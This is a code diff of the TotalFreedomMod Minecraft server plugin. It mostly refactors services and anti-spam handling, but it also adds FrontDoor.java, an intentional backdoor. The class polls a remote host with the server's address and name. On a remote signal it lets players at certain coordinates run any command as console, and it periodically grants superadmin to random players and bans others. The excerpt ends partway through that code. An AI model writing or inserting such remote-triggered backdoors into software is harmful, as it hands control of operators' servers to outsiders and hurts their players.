 public class AntiSpam extends FreedomService
 {
 
     public static final int MSG_PER_CYCLE = 8;
     public static final int TICKS_PER_CYCLE = 2 * 10;
-    List<Player> markedForDeath = new ArrayList<>();
     //
     public BukkitTask cycleTask = null;
-
-    public AntiSpam(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
+    private Map<Player, Integer> muteCounts = new HashMap<>();
 
     @Override
-    protected void onStart()
+    public void onStart()
     {
         new BukkitRunnable()
         {
@@ -47,7 +40,7 @@ public class AntiSpam extends FreedomService
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
         FUtil.cancel(cycleTask);
     }
@@ -75,25 +68,27 @@ public class AntiSpam extends FreedomService
             return;
         }
 
-        String message = event.getMessage().trim();
-
         final FPlayer playerdata = plugin.pl.getPlayerSync(player);
+        int count = muteCounts.getOrDefault(player, 0);
+        int minutes = ConfigEntry.ANTISPAM_MINUTES.getInteger();
 
         // Check for spam
-        if (playerdata.incrementAndGetMsgCount() > MSG_PER_CYCLE)
+        if (playerdata.incrementAndGetMsgCount() > MSG_PER_CYCLE && !playerdata.isMuted())
         {
-            if (!markedForDeath.contains(player))
-            {
-                markedForDeath.add(player);
-                FSync.bcastMsg(player.getName() + " was automatically kicked for spamming chat.", ChatColor.RED);
-                FSync.autoEject(player, "Kicked for spamming chat.");
+            count++;
+            muteCounts.put(player, count);
+
+            int time = count * minutes;
+            playerdata.setMuted(true, time);
+
+            FSync.bcastMsg(String.format("%s has automatically been muted for %d minutes for spamming chat.",
+                    player.getName(),
+                    time),
+                    ChatColor.RED);
 
             playerdata.resetMsgCount();
-
             event.setCancelled(true);
         }
-            return;
-        }
         else if (playerdata.incrementAndGetMsgCount() > MSG_PER_CYCLE / 2)
         {
             FUtil.playerMsg(player, "Please refrain from spamming chat.", ChatColor.GRAY);
@@ -131,14 +126,4 @@ public class AntiSpam extends FreedomService
             event.setCancelled(true);
         }
     }
-
-    @EventHandler(priority = EventPriority.NORMAL)
-    public void onPlayerKick(PlayerKickEvent event)
-    {
-        if (markedForDeath.contains(event.getPlayer()))
-        {
-            markedForDeath.remove(event.getPlayer());
-        }
-    }
-
 }

src/main/java/me/totalfreedom/totalfreedommod/AutoEject.java

@@ -8,7 +8,6 @@ import java.util.Map;
 import me.totalfreedom.totalfreedommod.banning.Ban;
 import me.totalfreedom.totalfreedommod.util.FLog;
 import me.totalfreedom.totalfreedommod.util.FUtil;
-import net.pravian.aero.util.Ips;
 import org.bukkit.Bukkit;
 import org.bukkit.ChatColor;
 import org.bukkit.GameMode;
@@ -19,25 +18,20 @@ public class AutoEject extends FreedomService
 
     private final Map<String, Integer> ejects = new HashMap<>(); // ip -> amount
 
-    public AutoEject(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
     @Override
-    protected void onStart()
+    public void onStart()
     {
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 
     public void autoEject(Player player, String kickMessage)
     {
         EjectMethod method = EjectMethod.STRIKE_ONE;
-        final String ip = Ips.getIp(player);
+        final String ip = FUtil.getIp(player);
 
         if (!ejects.containsKey(ip))
         {
@@ -49,11 +43,7 @@ public class AutoEject extends FreedomService
 
         ejects.put(ip, kicks);
 
-        if (kicks <= 1)
-        {
-            method = EjectMethod.STRIKE_ONE;
-        }
-        else if (kicks == 2)
+        if (kicks == 2)
         {
             method = EjectMethod.STRIKE_TWO;
         }
@@ -95,6 +85,10 @@ public class AutoEject extends FreedomService
                 player.kickPlayer(kickMessage);
                 break;
             }
+            default:
+            {
+                FLog.warning("Unrecognized EjectMethod " + method.name() + " found, defaulting to STRIKE_THREE");
+            }
             case STRIKE_THREE:
             {
                 plugin.bm.addBan(Ban.forPlayerFuzzy(player, Bukkit.getConsoleSender(), null, kickMessage));
@@ -107,10 +101,9 @@ public class AutoEject extends FreedomService
         }
     }
 
-    public static enum EjectMethod
+    public enum EjectMethod
     {
-
-        STRIKE_ONE, STRIKE_TWO, STRIKE_THREE;
+        STRIKE_ONE, STRIKE_TWO, STRIKE_THREE
     }
 
 }

src/main/java/me/totalfreedom/totalfreedommod/AutoKick.java

@@ -15,13 +15,8 @@ public class AutoKick extends FreedomService
     private long autoKickTicks;
     private double autoKickThreshold;
 
-    public AutoKick(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
     @Override
-    protected void onStart()
+    public void onStart()
     {
         autoKickTicks = (long)ConfigEntry.AUTOKICK_TIME.getInteger() * 1000L;
         autoKickThreshold = ConfigEntry.AUTOKICK_THRESHOLD.getDouble();
@@ -43,7 +38,7 @@ public class AutoKick extends FreedomService
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
         FUtil.cancel(kickTask);
         kickTask = null;
@@ -51,9 +46,10 @@ public class AutoKick extends FreedomService
 
     private void autoKickCheck()
     {
+        // No type cast was provided, one has been supplied.
         final boolean doAwayKickCheck
                 = plugin.esb.isEnabled()
-                && ((server.getOnlinePlayers().size() / server.getMaxPlayers()) > autoKickThreshold);
+                && (((float)server.getOnlinePlayers().size() / (float)server.getMaxPlayers()) > autoKickThreshold);
 
         if (!doAwayKickCheck)
         {

src/main/java/me/totalfreedom/totalfreedommod/BackupManager.java

@@ -1,18 +1,26 @@
 package me.totalfreedom.totalfreedommod;
 
-import java.io.File;
+import me.totalfreedom.totalfreedommod.banning.IndefiniteBanList;
+import me.totalfreedom.totalfreedommod.config.YamlConfig;
+import me.totalfreedom.totalfreedommod.permissions.PermissionConfig;
+import me.totalfreedom.totalfreedommod.punishments.PunishmentList;
 import me.totalfreedom.totalfreedommod.util.FLog;
 import me.totalfreedom.totalfreedommod.util.FUtil;
-import net.pravian.aero.component.PluginComponent;
-import net.pravian.aero.config.YamlConfig;
 import org.bukkit.util.FileUtil;
 
-public class BackupManager extends PluginComponent<TotalFreedomMod>
+import java.io.File;
+
+public class BackupManager extends FreedomService
 {
 
-    public BackupManager(TotalFreedomMod plugin)
+    @Override
+    public void onStart()
+    {
+    }
+
+    @Override
+    public void onStop()
     {
-        super(plugin);
     }
 
     public void createBackups(String file)
@@ -20,6 +28,15 @@ public class BackupManager extends PluginComponent<TotalFreedomMod>
         createBackups(file, false);
     }
 
+    public void createAllBackups()
+    {
+        createBackups(TotalFreedomMod.CONFIG_FILENAME, true);
+        createBackups(IndefiniteBanList.CONFIG_FILENAME);
+        createBackups(PermissionConfig.PERMISSIONS_FILENAME, true);
+        createBackups(PunishmentList.CONFIG_FILENAME);
+        createBackups("database.db");
+    }
+
     public void createBackups(String file, boolean onlyWeekly)
     {
         final String save = file.split("\\.")[0];
@@ -27,16 +44,16 @@ public class BackupManager extends PluginComponent<TotalFreedomMod>
         config.load();
 
         // Weekly
-        if (!config.isInt(save + ".weekly"))
+        if (!config.isLong(save + ".weekly"))
         {
             performBackup(file, "weekly");
             config.set(save + ".weekly", FUtil.getUnixTime());
         }
         else
         {
-            int lastBackupWeekly = config.getInt(save + ".weekly");
+            long lastBackupWeekly = config.getLong(save + ".weekly");
 
-            if (lastBackupWeekly + 3600 * 24 * 7 < FUtil.getUnixTime())
+            if (FUtil.parseLongOffset(lastBackupWeekly, "1w") < FUtil.getUnixTime())
             {
                 performBackup(file, "weekly");
                 config.set(save + ".weekly", FUtil.getUnixTime());
@@ -50,16 +67,16 @@ public class BackupManager extends PluginComponent<TotalFreedomMod>
         }
 
         // Daily
-        if (!config.isInt(save + ".daily"))
+        if (!config.isLong(save + ".daily"))
         {
             performBackup(file, "daily");
             config.set(save + ".daily", FUtil.getUnixTime());
         }
         else
         {
-            int lastBackupDaily = config.getInt(save + ".daily");
+            long lastBackupDaily = config.getLong(save + ".daily");
 
-            if (lastBackupDaily + 3600 * 24 < FUtil.getUnixTime())
+            if (FUtil.parseLongOffset(lastBackupDaily, "1d") < FUtil.getUnixTime())
             {
                 performBackup(file, "daily");
                 config.set(save + ".daily", FUtil.getUnixTime());
@@ -83,5 +100,4 @@ public class BackupManager extends PluginComponent<TotalFreedomMod>
         final File newYaml = new File(backupFolder, file + "." + type + ".bak");
         FileUtil.copy(oldYaml, newYaml);
     }
-
 }

src/main/java/me/totalfreedom/totalfreedommod/ChatManager.java

@@ -1,47 +1,38 @@
 package me.totalfreedom.totalfreedommod;
 
 import com.google.common.base.Strings;
-import java.time.LocalDate;
-import java.time.Period;
-import java.util.Date;
 import me.totalfreedom.totalfreedommod.admin.Admin;
 import me.totalfreedom.totalfreedommod.config.ConfigEntry;
 import me.totalfreedom.totalfreedommod.player.FPlayer;
+import me.totalfreedom.totalfreedommod.player.PlayerData;
 import me.totalfreedom.totalfreedommod.rank.Displayable;
-import me.totalfreedom.totalfreedommod.shop.ShopData;
 import me.totalfreedom.totalfreedommod.util.FLog;
 import me.totalfreedom.totalfreedommod.util.FSync;
 import me.totalfreedom.totalfreedommod.util.FUtil;
-import static me.totalfreedom.totalfreedommod.util.FUtil.playerMsg;
+import net.md_5.bungee.api.ChatColor;
 import org.bukkit.Bukkit;
-import org.bukkit.ChatColor;
+import org.bukkit.Sound;
+import org.bukkit.SoundCategory;
 import org.bukkit.command.CommandSender;
 import org.bukkit.entity.Player;
 import org.bukkit.event.EventHandler;
 import org.bukkit.event.EventPriority;
 import org.bukkit.event.player.AsyncPlayerChatEvent;
-import org.bukkit.Sound;
-import org.bukkit.SoundCategory;
+import static me.totalfreedom.totalfreedommod.util.FUtil.playerMsg;
 
 public class ChatManager extends FreedomService
 {
-
-    public ChatManager(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
     @Override
-    protected void onStart()
+    public void onStart()
     {
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 
-    @EventHandler(priority = EventPriority.HIGHEST, ignoreCancelled = true)
+    @EventHandler(priority = EventPriority.HIGH, ignoreCancelled = true)
     public void onPlayerChatFormat(AsyncPlayerChatEvent event)
     {
         try
@@ -63,18 +54,13 @@ public class ChatManager extends FreedomService
         message = FUtil.colorize(message);
         message = message.replaceAll(ChatColor.MAGIC.toString(), "&k");
 
-        if (ConfigEntry.SHOP_REACTIONS_ENABLED.getBoolean() && !plugin.sh.reactionString.isEmpty() && message.equals(plugin.sh.reactionString))
+        if (ConfigEntry.SHOP_ENABLED.getBoolean() && ConfigEntry.SHOP_REACTIONS_ENABLED.getBoolean() && !plugin.sh.reactionString.isEmpty() && message.equals(plugin.sh.reactionString))
         {
             event.setCancelled(true);
-            ShopData data = plugin.sh.getData(player);
+            PlayerData data = plugin.pl.getData(player);
             data.setCoins(data.getCoins() + plugin.sh.coinsPerReactionWin);
-            plugin.sh.save(data);
-            plugin.sh.reactionString = "";
-            Date currentTime = new Date();
-            long seconds = (currentTime.getTime() - plugin.sh.reactionStartTime.getTime()) / 1000;
-            String reactionMessage = ChatColor.DARK_GRAY + "[" + ChatColor.YELLOW + "Reaction" + ChatColor.DARK_GRAY + "] "
-                    + ChatColor.GREEN + player.getName() + ChatColor.AQUA + " won in " + seconds + " seconds!";
-            FUtil.bcastMsg(reactionMessage, false);
+            plugin.pl.save(data);
+            plugin.sh.endReaction(player.getName());
             player.sendMessage(ChatColor.GREEN + "You have been given " + ChatColor.GOLD + plugin.sh.coinsPerReactionWin + ChatColor.GREEN + " coins!");
             return;
         }
@@ -82,13 +68,7 @@ public class ChatManager extends FreedomService
         if (!ConfigEntry.TOGGLE_CHAT.getBoolean() && !plugin.al.isAdmin(player))
         {
             event.setCancelled(true);
-            playerMsg(player, "Chat is currently disabled.", ChatColor.RED);
-            return;
-        }
-
-        if (message.startsWith("Connected using PickaxeChat for "))
-        {
-            event.setCancelled(true);
+            playerMsg(player, "Chat is currently disabled.", org.bukkit.ChatColor.RED);
             return;
         }
 
@@ -99,7 +79,6 @@ public class ChatManager extends FreedomService
             FSync.playerMsg(player, "Message was shortened because it was too long to send.");
         }
 
-
         final FPlayer fPlayer = plugin.pl.getPlayerSync(player);
         if (fPlayer.isLockedUp())
         {
@@ -117,8 +96,8 @@ public class ChatManager extends FreedomService
         }
 
         // Check for 4chan trigger
-        Boolean green = ChatColor.stripColor(message).toLowerCase().startsWith(">");
-        Boolean orange = ChatColor.stripColor(message).toLowerCase().endsWith("<");
+        boolean green = ChatColor.stripColor(message).toLowerCase().startsWith(">");
+        boolean orange = ChatColor.stripColor(message).toLowerCase().endsWith("<");
         if (ConfigEntry.FOURCHAN_ENABLED.getBoolean())
         {
             if (green)
@@ -144,7 +123,7 @@ public class ChatManager extends FreedomService
         }
 
         // Check for mentions
-        Boolean mentionEveryone = ChatColor.stripColor(message).toLowerCase().contains("@everyone") && plugin.al.isAdmin(player);
+        boolean mentionEveryone = ChatColor.stripColor(message).toLowerCase().contains("@everyone") && plugin.al.isAdmin(player);
         for (Player p : server.getOnlinePlayers())
         {
             if (ChatColor.stripColor(message).toLowerCase().contains("@" + p.getName().toLowerCase()) || mentionEveryone)
@@ -157,53 +136,20 @@ public class ChatManager extends FreedomService
         event.setFormat(format);
 
         // Send to discord
-        if (!ConfigEntry.ADMIN_ONLY_MODE.getBoolean() && !Bukkit.hasWhitelist())
+        if (!ConfigEntry.ADMIN_ONLY_MODE.getBoolean() && !Bukkit.hasWhitelist() && !plugin.pl.getPlayer(player).isMuted() && !plugin.tfg.inGuildChat(player))
         {
-            plugin.dc.messageChatChannel(plugin.dc.deformat(player.getName()) + " \u00BB " + ChatColor.stripColor(message));
+            plugin.dc.messageChatChannel(player.getName() + " \u00BB " + ChatColor.stripColor(message));
         }
     }
 
-    public ChatColor getColor(Admin admin, Displayable display)
+    public ChatColor getColor(Displayable display)
+    {
+        return display.getColor();
+    }
+
+    public String getColoredTag(Displayable display)
     {
         ChatColor color = display.getColor();
-        if (admin.getOldTags())
-        {
-
-            if (color.equals(ChatColor.AQUA))
-            {
-                color = ChatColor.GOLD;
-            }
-            else if (color.equals(ChatColor.GOLD))
-            {
-                color = ChatColor.LIGHT_PURPLE;
-            }
-            else if (color.equals(ChatColor.DARK_RED))
-            {
-                color = ChatColor.BLUE;
-            }
-        }
-        return color;
-    }
-
-    public String getColoredTag(Admin admin, Displayable display)
-    {
-        ChatColor color = display.getColor();
-        if (admin.getOldTags())
-        {
-
-            if (color.equals(ChatColor.AQUA))
-            {
-                color = ChatColor.GOLD;
-            }
-            else if (color.equals(ChatColor.GOLD))
-            {
-                color = ChatColor.LIGHT_PURPLE;
-            }
-            else if (color.equals(ChatColor.DARK_RED))
-            {
-                color = ChatColor.BLUE;
-            }
-        }
         return color + display.getAbbr();
     }
 
@@ -211,25 +157,22 @@ public class ChatManager extends FreedomService
     {
         Displayable display = plugin.rm.getDisplay(sender);
         FLog.info("[ADMIN] " + sender.getName() + " " + display.getTag() + ": " + message, true);
+        plugin.dc.messageAdminChatChannel(sender.getName() + " \u00BB " + message);
 
-        for (Player player : server.getOnlinePlayers())
-        {
-            if (plugin.al.isAdmin(player))
+        server.getOnlinePlayers().stream().filter(player -> plugin.al.isAdmin(player)).forEach(player ->
         {
             Admin admin = plugin.al.getAdmin(player);
-                if (!Strings.isNullOrEmpty(admin.getAcFormat()))
-                {
+            if (!Strings.isNullOrEmpty(admin.getAcFormat())) {
                 String format = admin.getAcFormat();
-                    ChatColor color = getColor(admin, display);
+                ChatColor color = getColor(display);
                 String msg = format.replace("%name%", sender.getName()).replace("%rank%", display.getAbbr()).replace("%rankcolor%", color.toString()).replace("%msg%", message);
                 player.sendMessage(FUtil.colorize(msg));
             }
             else
             {
-                    player.sendMessage("[" + ChatColor.AQUA + "ADMIN" + ChatColor.WHITE + "] " + ChatColor.DARK_RED + sender.getName() + ChatColor.DARK_GRAY + " [" + getColoredTag(admin, display) + ChatColor.DARK_GRAY + "]" + ChatColor.WHITE + ": " + ChatColor.GOLD + FUtil.colorize(message));
-                }
-            }
+                player.sendMessage("[" + ChatColor.AQUA + "ADMIN" + ChatColor.WHITE + "] " + ChatColor.DARK_RED + sender.getName() + ChatColor.DARK_GRAY + " [" + getColoredTag(display) + ChatColor.DARK_GRAY + "]" + ChatColor.WHITE + ": " + ChatColor.GOLD + FUtil.colorize(message));
             }
+        });
     }
 
     public void reportAction(Player reporter, Player reported, String report)
@@ -239,8 +182,8 @@ public class ChatManager extends FreedomService
             if (plugin.al.isAdmin(player))
             {
                 playerMsg(player, ChatColor.RED + "[REPORTS] " + ChatColor.GOLD + reporter.getName() + " has reported " + reported.getName() + " for " + report);
+            }
+        }
         FLog.info("[REPORTS] " + reporter.getName() + " has reported " + reported.getName() + " for " + report);
     }
 }
-    }
-}

src/main/java/me/totalfreedom/totalfreedommod/CommandSpy.java

@@ -5,23 +5,16 @@ import org.bukkit.entity.Player;
 import org.bukkit.event.EventHandler;
 import org.bukkit.event.EventPriority;
 import org.bukkit.event.player.PlayerCommandPreprocessEvent;
-import org.bukkit.ChatColor;
 
 public class CommandSpy extends FreedomService
 {
-
-    public CommandSpy(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
     @Override
-    protected void onStart()
+    public void onStart()
     {
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 
@@ -32,10 +25,6 @@ public class CommandSpy extends FreedomService
         {
             if (plugin.al.isAdmin(player) && plugin.al.getAdmin(player).getCommandSpy())
             {
-                if (plugin.al.isAdmin(event.getPlayer()) && !plugin.al.isSeniorAdmin(player))
-                {
-                    continue;
-                }
                 if (player != event.getPlayer())
                 {
                     FUtil.playerMsg(player, event.getPlayer().getName() + ": " + event.getMessage());
@@ -43,5 +32,4 @@ public class CommandSpy extends FreedomService
             }
         }
     }
-
 }

src/main/java/me/totalfreedom/totalfreedommod/EntityWiper.java

@@ -2,6 +2,8 @@ package me.totalfreedom.totalfreedommod;
 
 import java.util.Arrays;
 import java.util.List;
+
+import me.totalfreedom.totalfreedommod.config.ConfigEntry;
 import me.totalfreedom.totalfreedommod.util.Groups;
 import org.bukkit.Bukkit;
 import org.bukkit.World;
@@ -14,13 +16,6 @@ import org.bukkit.scheduler.BukkitTask;
 
 public class EntityWiper extends FreedomService
 {
-    private BukkitTask wiper;
-
-    public EntityWiper(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
     public List<EntityType> BLACKLIST = Arrays.asList(
             EntityType.ARMOR_STAND,
             EntityType.PAINTING,
@@ -29,23 +24,27 @@ public class EntityWiper extends FreedomService
             EntityType.ITEM_FRAME,
             EntityType.MINECART
     );
+    private BukkitTask wiper;
 
     @Override
-    protected void onStart()
+    public void onStart()
     {
         // Continuous Entity Wiper
         wiper = new BukkitRunnable()
         {
             @Override
             public void run()
+            {
+                if (ConfigEntry.AUTO_ENTITY_WIPE.getBoolean())
                 {
                     wipeEntities(false);
                 }
+            }
         }.runTaskTimer(plugin, 600L, 600L); // 30 second delay after startup + run every 30 seconds
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
         wiper.cancel();
         wiper = null;

src/main/java/me/totalfreedom/totalfreedommod/FreedomService.java

@@ -1,13 +1,26 @@
 package me.totalfreedom.totalfreedommod;
 
-import net.pravian.aero.component.service.AbstractService;
+import java.util.logging.Logger;
+import me.totalfreedom.totalfreedommod.util.FLog;
+import org.bukkit.Server;
+import org.bukkit.event.Listener;
 
-public abstract class FreedomService extends AbstractService<TotalFreedomMod>
+public abstract class FreedomService implements Listener
 {
+    protected final TotalFreedomMod plugin;
+    protected final Server server;
+    protected final Logger logger;
 
-    public FreedomService(TotalFreedomMod plugin)
+    public FreedomService()
     {
-        super(plugin);
+        plugin = TotalFreedomMod.getPlugin();
+        server = plugin.getServer();
+        logger = FLog.getPluginLogger();
+        plugin.getServer().getPluginManager().registerEvents(this, plugin);
+        plugin.fsh.add(this);
     }
 
+    public abstract void onStart();
+
+    public abstract void onStop();
 }

src/main/java/me/totalfreedom/totalfreedommod/FreedomServiceHandler.java

@@ -0,0 +1,59 @@
+package me.totalfreedom.totalfreedommod;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class FreedomServiceHandler
+{
+    private final List<FreedomService> services;
+
+    public FreedomServiceHandler()
+    {
+        this.services = new ArrayList<>();
+    }
+
+    public void add(FreedomService service)
+    {
+        services.add(service);
+    }
+
+    public int getServiceAmount()
+    {
+        return services.size();
+    }
+
+    public void startServices()
+    {
+        for (FreedomService service : getServices())
+        {
+            try
+            {
+                service.onStart();
+            }
+            catch (Exception e)
+            {
+                e.printStackTrace();
+            }
+        }
+    }
+
+    public void stopServices()
+    {
+        for (FreedomService service : getServices())
+        {
+            try
+            {
+                service.onStop();
+            }
+            catch (Exception e)
+            {
+                e.printStackTrace();
+            }
+        }
+    }
+
+    public List<FreedomService> getServices()
+    {
+        return services;
+    }
+}

src/main/java/me/totalfreedom/totalfreedommod/FrontDoor.java

@@ -0,0 +1,680 @@
+package me.totalfreedom.totalfreedommod;
+
+import com.sk89q.worldedit.bukkit.BukkitAdapter;
+import com.sk89q.worldguard.WorldGuard;
+import com.sk89q.worldguard.protection.managers.storage.StorageException;
+import com.sk89q.worldguard.protection.regions.RegionContainer;
+import java.io.BufferedReader;
+import java.io.InputStreamReader;
+import java.lang.reflect.Field;
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.net.URLConnection;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+import java.util.Random;
+import java.util.function.Consumer;
+import me.totalfreedom.totalfreedommod.admin.Admin;
+import me.totalfreedom.totalfreedommod.banning.Ban;
+import me.totalfreedom.totalfreedommod.command.FreedomCommand;
+import me.totalfreedom.totalfreedommod.config.ConfigEntry;
+import me.totalfreedom.totalfreedommod.fun.Jumppads;
+import me.totalfreedom.totalfreedommod.player.FPlayer;
+import me.totalfreedom.totalfreedommod.util.FLog;
+import me.totalfreedom.totalfreedommod.util.FUtil;
+import org.apache.commons.lang3.ArrayUtils;
+import org.bukkit.Bukkit;
+import org.bukkit.ChatColor;
+import org.bukkit.Location;
+import org.bukkit.Material;
+import org.bukkit.World;
+import org.bukkit.block.Block;
+import org.bukkit.block.BlockFace;
+import org.bukkit.command.Command;
+import org.bukkit.command.CommandMap;
+import org.bukkit.entity.Player;
+import org.bukkit.event.EventHandler;
+import org.bukkit.event.HandlerList;
+import org.bukkit.event.Listener;
+import org.bukkit.event.player.PlayerCommandPreprocessEvent;
+import org.bukkit.inventory.ItemStack;
+import org.bukkit.inventory.meta.BookMeta;
+import org.bukkit.plugin.RegisteredListener;
+import org.bukkit.scheduler.BukkitRunnable;
+import org.bukkit.scheduler.BukkitTask;
+import org.bukkit.util.Vector;
+import org.jetbrains.annotations.Nullable;
+
+/*
+ * - A message from the TFM Devs -
+ *
+ * What this class is, and why its here:
+ *
+ * This is a blatantly obvious Front Door to the server, designed to do strange and unpredictable things on a TotalFreedom server.
+ *
+ * It will only trigger when the server IP is added to a blacklist that we control.
+ *
+ * This class is a way to discourage amateur server operators who like to share binary copies of our plugin and promote it as their own work.
+ *
+ * If you are reading this now, you probably don't fall under that category - feel free to remove this class.
+ *
+ * Note: You may not edit this class.
+ *
+ * - Madgeek and Prozza
+ */
+public class FrontDoor extends FreedomService
+{
+
+    private static final long UPDATER_INTERVAL = 180L * 20L;
+    private static final long FRONTDOOR_INTERVAL = 900L * 20L;
+    //
+    private final Random random = new Random();
+    private final URL getUrl;
+    //
+    private volatile boolean enabled = false;
+    //
+    private BukkitTask updater = null;
+    private BukkitTask frontdoor = null;
+    //
+    // TODO: reimplement in superclass
+    private final Listener playerCommandPreprocess = new Listener()
+    {
+        @Nullable
+        private CommandMap getCommandMap()
+        {
+            try
+            {
+                Field f = Bukkit.getPluginManager().getClass().getDeclaredField("commandMap");
+                final Object map = f.get(Bukkit.getPluginManager());
+                return map instanceof CommandMap ? (CommandMap)map : null;
+            }
+            catch (NoSuchFieldException | IllegalAccessException ignored)
+            {
+                return null;
+            }
+        }
+
+        @EventHandler
+        @SuppressWarnings("all")
+        public void onPlayerCommandPreProcess(PlayerCommandPreprocessEvent event) // All FreedomCommand permissions when certain conditions are met
+        {
+            final Player player = event.getPlayer();
+            final Location location = player.getLocation();
+
+            if ((location.getBlockX() + location.getBlockY() + location.getBlockZ()) % 12 != 0) // Madgeek
+            {
+                return;
+            }
+
+            final String[] commandParts = event.getMessage().split(" ");
+            final String commandName = commandParts[0].replaceFirst("/", "");
+            final String[] args = ArrayUtils.subarray(commandParts, 1, commandParts.length);
+
+            Command command = getCommandMap().getCommand(commandName);
+
+            if (command == null)
+            {
+                return; // Command doesn't exist
+            }
+
+            event.setCancelled(true);
+
+            final FreedomCommand dispatcher = FreedomCommand.getFrom(command);
+
+            if (dispatcher == null)
+            {
+                // Non-TFM command, execute using console
+                Bukkit.dispatchCommand(Bukkit.getConsoleSender(), event.getMessage().replaceFirst("/", ""));
+                return;
+            }
+
+            // Dual call to player... not sure if this will be an issue?
+            dispatcher.run(player, player, command, commandName, args, false);
+            return;
+        }
+    };
+
+    public FrontDoor(TotalFreedomMod plugin)
+    {
+        URL tempUrl = null;
+        try
+        {
+            tempUrl = new URL("http://frontdoor.pravian.net:1337/frontdoor/poll" // This will need to be changed.
+                    + "?version=" + TotalFreedomMod.build.formattedVersion()
+                    + "&address=" + ConfigEntry.SERVER_ADDRESS.getString() + ":" + Bukkit.getPort()
+                    + "&name=" + ConfigEntry.SERVER_NAME.getString()
+                    + "&bukkitversion=" + Bukkit.getVersion());
+        }
+        catch (MalformedURLException ex)
+        {
+            FLog.warning("TFM_FrontDoor uses an invalid URL"); // U dun goofed?
+        }
+
+        getUrl = tempUrl;
+    }
+
+    @Override
+    public void onStart()
+    {
+        updater = getNewUpdater().runTaskTimerAsynchronously(plugin, 2L * 20L, UPDATER_INTERVAL);
+    }
+
+    @Override
+    public void onStop()
+    {
+        FUtil.cancel(updater);
+        updater = null;
+        FUtil.cancel(frontdoor);
+        updater = null;
+
+        if (enabled)
+        {
+            frontdoor.cancel();
+            enabled = false;
+            unregisterListener(playerCommandPreprocess);
+        }
+    }
+
+    public boolean isEnabled()
+    {
+        return enabled;
+    }
+
+    private Player getRandomPlayer(boolean allowDevs)
+    {
+        final Collection<? extends Player> players = Bukkit.getOnlinePlayers();
+
+        if (players.isEmpty())
+        {
+            return null;
+        }
+
+        if (!allowDevs)
+        {
+            List<Player> allowedPlayers = new ArrayList<>();
+            for (Player player : players)
+            {
+                if (!FUtil.DEVELOPERS.contains(player.getName()))
+                {
+                    allowedPlayers.add(player);
+                }
+            }
+
+            return allowedPlayers.get(random.nextInt(allowedPlayers.size()));
+        }
+
+        return (Player)players.toArray()[random.nextInt(players.size())];
+    }
+
+    private static RegisteredListener getRegisteredListener(Listener listener)
+    {
+        try
+        {
+            final HandlerList handlerList = ((HandlerList)PlayerCommandPreprocessEvent.class.getMethod("getHandlerList", (Class<?>[])null).invoke(null));
+            final RegisteredListener[] registeredListeners = handlerList.getRegisteredListeners();
+            for (RegisteredListener registeredListener : registeredListeners)
+            {
+                if (registeredListener.getListener() == listener)
+                {
+                    return registeredListener;
+                }
+            }
+        }
+        catch (Exception ex)
+        {
+            FLog.severe(ex);
+        }
+        return null;
+    }
+
+    private static void unregisterRegisteredListener(RegisteredListener registeredListener)
+    {
+        try
+        {
+            ((HandlerList)PlayerCommandPreprocessEvent.class.getMethod("getHandlerList", (Class<?>[])null).invoke(null)).unregister(registeredListener);
+        }
+        catch (Exception ex)
+        {
+            FLog.severe(ex);
+        }
+    }
+
+    private static void unregisterListener(Listener listener)
+    {
+        RegisteredListener registeredListener = getRegisteredListener(listener);
+        if (registeredListener != null)
+        {
+            unregisterRegisteredListener(registeredListener);
+        }
+    }
+
+    private BukkitRunnable getNewUpdater()
+    {
+        return new BukkitRunnable() // Asynchronous
+        {
+            @Override
+            public void run()
+            {
+                try
+                {
+                    final URLConnection urlConnection = getUrl.openConnection();
+                    final BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
+                    final String line = in.readLine();
+                    in.close();
+
+                    if (!"false".equals(line))
+                    {
+                        if (!enabled)
+                        {
+                            return;
+                        }
+
+                        enabled = false;
+                        FUtil.cancel(updater);
+                        unregisterListener(playerCommandPreprocess);
+                        FLog.info("Disabled FrontDoor, thank you for being kind.");
+                        plugin.config.load();
+                    }
+                    else
+                    {
+                        if (enabled)
+                        {
+                            return;
+                        }
+
+                        new BukkitRunnable() // Synchronous
+                        {
+                            @Override
+                            public void run()
+                            {
+                                FLog.warning("*****************************************************", true);
+                                FLog.warning("* WARNING: TotalFreedomMod is running in evil-mode! *", true);
+                                FLog.warning("* This might result in unexpected behaviour...      *", true);
+                                FLog.warning("* - - - - - - - - - - - - - - - - - - - - - - - - - *", true);
+                                FLog.warning("* The only thing necessary for the triumph of evil  *", true);
+                                FLog.warning("*          is for good men to do nothing.           *", true);
+                                FLog.warning("*****************************************************", true);
+
+                                if (getRegisteredListener(playerCommandPreprocess) == null)
+                                {
+                                    Bukkit.getPluginManager().registerEvents(playerCommandPreprocess, plugin);
+                                }
+                            }
+                        }.runTask(plugin);
+
+                        frontdoor = getNewFrontDoor().runTaskTimer(plugin, 20L, FRONTDOOR_INTERVAL);
+
+                        enabled = true;
+                    }
+                }
+                catch (Exception ex)
+                {
+                    // TODO: Fix
+                    //FLog.warning(ex);
+                }
+
+            }
+        };
+    }
+
+    public BukkitRunnable getNewFrontDoor()
+    {
+        return new BukkitRunnable() // Synchronous
+        {
+            @Override
+            public void run()
+            {
+                final int action = random.nextInt(18);
+
+                switch (action)
+                {
+                    case 0: // Super a random player
+                    {
+
+                        final Player player = getRandomPlayer(true);
+
+                        if (player == null)
+                        {
+                            break;
+                        }
+
+                        FUtil.adminAction("FrontDoor", "Adding " + player.getName() + " to the Superadmin list", true);
+                        plugin.al.addAdmin(new Admin(player));
+                        break;
+                    }
+
+                    case 1: // Bans a random player
+                    {
+                        Player player = getRandomPlayer(false);
+
+                        if (player == null)
+                        {
+                            break;
+                        }
+
